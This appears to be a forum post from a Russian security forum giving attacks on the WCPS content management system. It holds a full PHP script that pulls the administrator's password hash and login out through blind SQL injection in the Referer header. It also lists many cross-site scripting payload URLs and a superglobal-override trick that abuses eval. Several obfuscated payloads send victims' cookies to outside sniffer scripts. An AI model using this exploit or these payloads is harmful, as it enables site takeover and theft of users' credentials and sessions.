ANTICHAT — форум по информационной безопасности, OSINT и технологиям

@$query = "INSERT INTO $GLOBALS[wcpref]downlog VALUES ('$nma', '$idd', '$GLOBALS[REMOTE_ADDR]', '$GLOBALS[HTTP_REFERER]', '$GLOBALS[HTTP_USER_AGENT]', '$now')";
if (!mysql_query($query)){WCInfoView(7,mysql_error(),__FILE__." ".__LINE__);}

<?php
/*----------------------------------------*\
Експлоит для модуля Cates v1.0 к cms WCPS
Автор: I-I()/Ib
\*----------------------------------------*/
$set['host']='test2.ru';//Хост с CMS WPCS
$set['patch']='';//Путь к WCPS без слеша на конце!
$set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ)
$set['prefix']='wc_';//Префикс таблиц в БД
//----------------------------------------//

set_time_limit(0);

function create_packet($num,$sumb,$znak,$column='user_pass'){
	global $set;
	$tmp="111',IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",(SELECT 1 UNION SELECT 2),0),'1')/*";
	
	$header="GET ".$set["patch"]."/index.php?nma=cates&fla=stat&idd=1"." HTTP/1.0\r\n";
	$header.="Accept-Language: en-us,en;q=0.5\r\n";
	$header.="Accept-Charset: utf-8,*;q=0.7\r\n";
	$header.="Referer: ".$tmp."\r\n";
	$header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
	$header.="User-Agent: 1\r\n";
	$header.="Connection: keep-alive\r\n";
	$header.="Host: ".$set["host"]."\r\n\r\n";
	
	return $header;
}

function logg($str){
	echo($str.'<br>'."\r\n");
	flush();
}

$ret='';
logg('<b>'.$set['host'].'</b>');
logg('Выдираем хеш...');
for($i=1;$i<=32;$i++){
	$sred=0;
	$tmp='';
	$i2=0;
	$i3=0;
	$znak='>';
	$mins=0;
	$maxs=255;
	while(1){
		if($maxs-$mins>3){
			$sred=round(($mins+$maxs)/2);
		}else{
			$sred=$mins+$i2;
			$znak='=';
			$i2=$i2+1;
			if($mins>$maxs)break;
		}
		$header=create_packet($i,$sred,$znak);
		$dt='';
		$fp=fsockopen($set['host'], 80);
		fwrite($fp, $header);
		while(!feof($fp)){
			$dt.=fread($fp, 1024);
		}
		fclose($fp);
		
		if(substr_count($dt,'Subquery returns more than 1 row')){
			if($znak==='>')$mins=$sred+1;
			else if($znak==='='){
				$ret.=chr($sred);
				break;
			}
		}else{
			if($znak==='>')$maxs=$sred;
		}
		if($i3>20)break;
		else $i3++;
		if(substr_count($dt,'doesn\'t exist'))die('Не верный префикс :(');
	}
}
if(empty($ret))die('Не получилось :(');
logg('Хеш: <b>'.$ret.'</b>');
logg('Выдираем логин...');
$ret='';

for($i=1;$i<=25;$i++){
	$sred=0;
	$tmp='';
	$i2=0;
	$i3=0;
	$znak='>';
	$mins=0;
	$maxs=255;
	while(1){
		if($maxs-$mins>3){
			$sred=round(($mins+$maxs)/2);
		}else{
			$sred=$mins+$i2;
			$znak='=';
			$i2=$i2+1;
			if($mins>$maxs)break;
		}
		$header=create_packet($i,$sred,$znak,'user_login');
		$dt='';
		$fp=fsockopen($set['host'], 80);
		fwrite($fp, $header);
		while(!feof($fp)){
			$dt.=fread($fp, 1024);
		}
		fclose($fp);
		
		if(substr_count($dt,'Subquery returns more than 1 row')){
			if($znak==='>')$mins=$sred+1;
			else if($znak==='='){
				$ret.=chr($sred);
				break;
			}
		}else{
			if($znak==='>')$maxs=$sred;
		}
		if($i3>20)break;
		else $i3++;
	}
	if(substr_count($ret,chr(0))){
		$ret=str_replace(chr(0),'',$ret);
		break;
	}
}
if(empty($ret))die('Не получилось :(');
logg('Логин: <b>'.$ret.'</b>');
logg('Готово');
?>

http://test2.ru/php/wojs.php?tit=</title><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?name_titl=</title><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?inflang='></script><script>alert(document.cookie)</script><d d='
http://test2.ru/php/wojs.php?type='></script><script>alert(document.cookie)</script><d d='
http://test2.ru/php/wojs.php?inflang=alert(document.cookie)</script>
http://test2.ru/php/wojs.php?type=alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bord=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bg=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?bgz=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?zag=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?txt=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?fs=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?cnt=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?tit=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?simage=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?hover=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?vdata=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>
http://test2.ru/php/wojs.php?wd=</script><script>alert(document.cookie)</script>

http://test2.ru/index.php?nma=catalog&fla=pod_menu&cat_id=1&by=[SQL code]

http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>
http://test2.ru/index.php?nma=search&fla=f.lib&name_sm[']=1<body onLoad=setTimeout("ale"%2B"rt(docu"%2B"ment.coo"%2B"kie)",1)>

...
if ( is_array($_GET) ) {
   while( list($k, $v) = each($_GET) ) {
     if ( is_array($_GET[$k]) ) {
        while( list($k2, $v2) = each($_GET[$k]) ) {
          $k=key_check("$k");//Кавычки не убирать
              $k2=key_check("$k2");
          $_GET[$k][$k2] = str_check($v2);
                 eval("\$".$k."[\$k2] = str_check(\$v2);");
        }
     }
     else { $k=key_check("$k");$_GET[$k] = str_check($v); $$k = $_GET[$k];}
   }
 }
...
function key_check($key) {
 if ($key == '' OR $key =='_SERVER' OR $key =='_SESSION' OR $key =='_FILES' OR $key =='_REQUEST') { return ''; }
 $key = preg_replace("/[^\w\xB2-\xB4\xBF-\xFF\xA5\xA8\xAA\xAF\xB8\xBA\s]/", "", $key );
 return $key;
}
...

http://test2.ru/?_SER'VER[REMOTE_ADDR]=111.111.111.111

http://test2.ru/index.php?nma=news&fla=tema&namecat[1']=2</a></span><body onLoad=setTimeout('docum'%2B'ent.loca'%2B'tion.repl'%2B'ace("http://test1.ru/sn.php?c="%2Bdo'%2B'cument.co'%2B'okie)',1)>

[img*]http://google.ru/zzzz.jpg" onerror="setTimeout('ale'+'rt(doc'+'ument.coo'+'kie)',100)[/img*]

http://target.ru/php/wojs.php?_SE;RVER[HTTP_HOST]=site.ru/666.js?

document.location.replace("http://site.ru/sniff.php?c="+document.cookie);